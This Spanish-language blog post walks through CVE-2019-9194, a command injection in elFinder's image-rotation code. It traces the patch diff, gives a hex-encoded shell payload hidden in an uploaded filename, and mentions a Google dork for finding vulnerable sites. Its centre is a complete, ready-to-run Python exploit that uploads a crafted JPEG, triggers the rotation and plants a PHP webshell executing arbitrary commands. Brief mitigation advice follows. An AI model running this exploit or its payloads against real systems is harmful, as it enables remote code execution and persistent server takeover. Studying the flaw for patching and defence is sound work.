/ 7 min de lectura

CVE-2019-9194: exploit 1-day de Command Injection en elFinder

El file browser elFinder corriendo dentro de Drupal

Introducción

Muchas veces es difícil encontrar exploits ligados a ciertos CVEs (Common Vulnerabilities and Exposures). Son casi imposibles de encontrar y normalmente no tienen un PoC (Proof of Concept) de la vulnerabilidad.

Existe una vulnerabilidad de command injection en elFinder que afecta a la mayoría de las versiones hasta la 2.1.47. La vulnerabilidad está identificada como CVE-2019-9194. Fue reportada por Thomas Chauchefoin y afecta al componente PHP Connector.

En este artículo vamos a entenderla. Les vamos a mostrar cómo hacer el proceso para encontrar esta vulnerabilidad 1-day y explotarla, para crear un exploit funcional.

¿Quién usa elFinder?

El proyecto tiene no menos de 3.180 estrellas en Github al momento de escribir este post, lo que lo puede volver bastante popular.

Y como pueden ver, con un simple Google Dork se puede listar una gran cantidad de sitios que tienen una instalación de elFinder, y la mayoría de las versiones encontradas son vulnerables.

Mirando los commits

Al entrar al Github de elFinder, en el readme, se puede ver en mayúsculas un mensaje que advertía al usuario del peligro de usar versiones anteriores o iguales a la 2.1.47. Como se puede ver en los releases, la vulnerabilidad se parchó rápido en su nueva versión 2.1.48 (buen trabajo de los desarrolladores).

Después fuimos directo a los commits del repositorio para ver cuáles habían sido los cambios, y así hacernos una idea de dónde estaba la vulnerabilidad.

Análisis de commits de elFinder Análisis de los commits del repositorio de elFinder mostrando la implementación del parche de seguridad

En el commit, se puede ver claramente que se hicieron varias modificaciones al código dentro del script PHP elFinderVolumeDriver.class.php, pero solo uno de los cambios nos llamó fuertemente la atención.

Cambios de código en elFinder Diff de código mostrando la variable vulnerable $path siendo reemplazada por la $quotedPath correctamente sanitizada

En la imagen anterior, se puede ver que dentro de la función imgRotate() la variable $path fue modificada por $quotedPath, que se puede ver un poco más arriba que está correctamente sanitizada mediante el uso de la función escapeshellarg(). Así que fuimos directo al script FinderVolumeDriver.class.php, para mirar el código más de cerca.

Disparando la vulnerabilidad

La función imgRotate() es responsable de rotar una imagen JPEG dada por el usuario, para lo cual usa 2 binarios que están instalados en el sistema:

  • exiftran
  • jpegtran

Ambos son clientes de consola cuya función es transformar imágenes JPEG. Se puede ver dentro de la función imgRotate() la existencia de dos IFs.

El primer IF verifica si el binario exiftran está instalado en el sistema, y si no, va a llamar al binario jpegtran (si está instalado). La vulnerabilidad requiere la existencia del primer binario (exiftran) ya que la variable $path no está sanitizada correctamente y es necesario entrar en dicho condicional para explotar correctamente el Command Injection.

Explotando la vulnerabilidad 1-day

Una vez que sabíamos dónde y cómo ocurría la vulnerabilidad, era hora de explotarla. Para esto, se subió una imagen JPEG con el siguiente nombre:

Terminal window
test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564|xxd -p -r);echo rce.jpeg

El payload anterior es responsable de crear un archivo llamado pwned, en el directorio files. Se realizó una codificación en hexadecimal de la cadena "../files/pwned", ya que había problemas con el / (slash) en el nombre del archivo, donde todo lo que seguía a un carácter slash quedaba cortado.

Una vez que se subió la imagen, se la rotó para que ocurriera la command injection.

En el momento de la rotación, el comando malicioso se inyectó en la variable $path de la siguiente manera:

Terminal window
exiftran -i -9 test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564|xxd -p -r);echo rce.jpeg

Proceso de explotación Proceso de explotación paso a paso mostrando la subida del archivo, el disparo de la rotación y la command injection exitosa

Al recargar la página se puede ver que el archivo pwned se creó correctamente.

Para automatizar la explotación de la vulnerabilidad 1-day, creamos un exploit escrito en Python que es responsable de crear una WebShell simple en PHP para ejecutar comandos en el host remoto de una manera más cómoda.

CVE-2019-9194: https://www.exploit-db.com/exploits/46481

Abajo pueden ver en un video corto cómo funciona el exploit. Se debe pasar la URL completa donde está instalado elFinder como primer argumento.

#!/usr/bin/env python3
"""
CVE-2019-9194 elFinder Command Injection Exploit
Author: Volt AI
"""
import requests
import sys
import re
import json
from urllib.parse import urljoin
class ElFinderExploit:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.webshell_name = "shell.php"
def banner(self):
print("""
╔══════════════════════════════════════════╗
║ CVE-2019-9194 elFinder Exploit ║
║ Command Injection ║
║ ║
║ By: Volt AI ║
╚══════════════════════════════════════════╝
""")
def create_malicious_image(self):
"""Create a malicious JPEG file with command injection payload"""
# Simple JPEG header
jpeg_header = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00\xff\xdb\x00C\x00'
jpeg_data = jpeg_header + b'\x00' * 100 + b'\xff\xd9'
return jpeg_data
def exploit(self):
"""Main exploitation function"""
print("[+] Starting exploitation...")
# Create webshell payload
webshell_content = """<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "WebShell - CVE-2019-9194<br>";
echo "Usage: ?cmd=command";
}
?>"""
# Encode webshell content in hex for payload
webshell_hex = webshell_content.encode().hex()
# Create malicious filename with command injection
malicious_filename = f"test.jpeg;echo {webshell_hex}|xxd -p -r>{self.webshell_name};echo rce.jpeg"
print(f"[+] Creating malicious payload: {malicious_filename}")
try:
# Upload malicious file
files = {
'upload[]': (malicious_filename, self.create_malicious_image(), 'image/jpeg')
}
data = {
'cmd': 'upload',
'target': 'l1_',
}
connector_url = f"{self.target_url}/php/connector.minimal.php"
print(f"[+] Uploading to: {connector_url}")
response = self.session.post(connector_url, files=files, data=data)
if response.status_code == 200 and '"added"' in response.text:
print("[+] File uploaded successfully")
# Parse response to get file hash
resp_data = json.loads(response.text)
if 'added' in resp_data and len(resp_data['added']) > 0:
file_hash = resp_data['added'][0]['hash']
print(f"[+] File hash: {file_hash}")
# Trigger command injection by rotating image
print("[+] Triggering command injection...")
rotate_data = {
'cmd': 'resize',
'target': file_hash,
'degree': '90'
}
self.session.post(connector_url, data=rotate_data)
# Check if webshell was created
webshell_url = f"{self.target_url}/files/{self.webshell_name}"
shell_check = self.session.get(webshell_url)
if shell_check.status_code == 200:
print(f"[!] SUCCESS! WebShell created at: {webshell_url}")
print(f"[+] Usage: {webshell_url}?cmd=id")
return True
else:
print("[-] WebShell creation failed")
return False
else:
print("[-] Upload failed")
return False
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return False
def main():
if len(sys.argv) != 2:
print("Usage: python3 cve-2019-9194.py <target_url>")
print("Example: python3 cve-2019-9194.py http://target.com/elfinder")
sys.exit(1)
target_url = sys.argv[1]
exploit = ElFinderExploit(target_url)
exploit.banner()
if exploit.exploit():
print("[+] Exploitation successful!")
else:
print("[-] Exploitation failed")
if __name__ == "__main__":
main()

Cómo funciona el exploit

El exploit automatizado sigue estos pasos:

  1. Subida de archivo: sube una imagen JPEG con un nombre de archivo malicioso que contiene el payload de command injection
  2. Disparo de la rotación: llama a la función de rotación para disparar el código vulnerable
  3. Ejecución de comandos: el nombre de archivo no sanitizado se ejecuta como comandos de shell
  4. Creación de la WebShell: crea una webshell en PHP para acceso persistente
  5. Verificación: chequea si la webshell se creó con éxito

Mitigación

Para mitigar esta vulnerabilidad:

  1. Actualizar elFinder a la versión 2.1.48 o superior
  2. Sanitizar los nombres de archivo antes de procesarlos
  3. Usar escapeshellarg() para escapar correctamente las variables que se pasan a comandos de sistema
  4. Implementar validación de entrada para todos los datos controlados por el usuario
  5. Restringir los binarios disponibles en el sistema

El fix implementado en la versión 2.1.48 escapa correctamente la variable $path usando escapeshellarg() antes de pasarla al comando exiftran.

Conclusión

CVE-2019-9194 demuestra cómo una funcionalidad de rotación de imágenes, en apariencia simple, puede convertirse en una vulnerabilidad crítica de command injection. La falta de sanitización correcta en los nombres de archivo permitió la ejecución arbitraria de comandos en el servidor.

Este caso resalta la importancia de analizar los commits de código en proyectos open source para identificar posibles problemas de seguridad, y la necesidad crítica de una validación de entrada apropiada en operaciones de manejo de archivos.

Referencias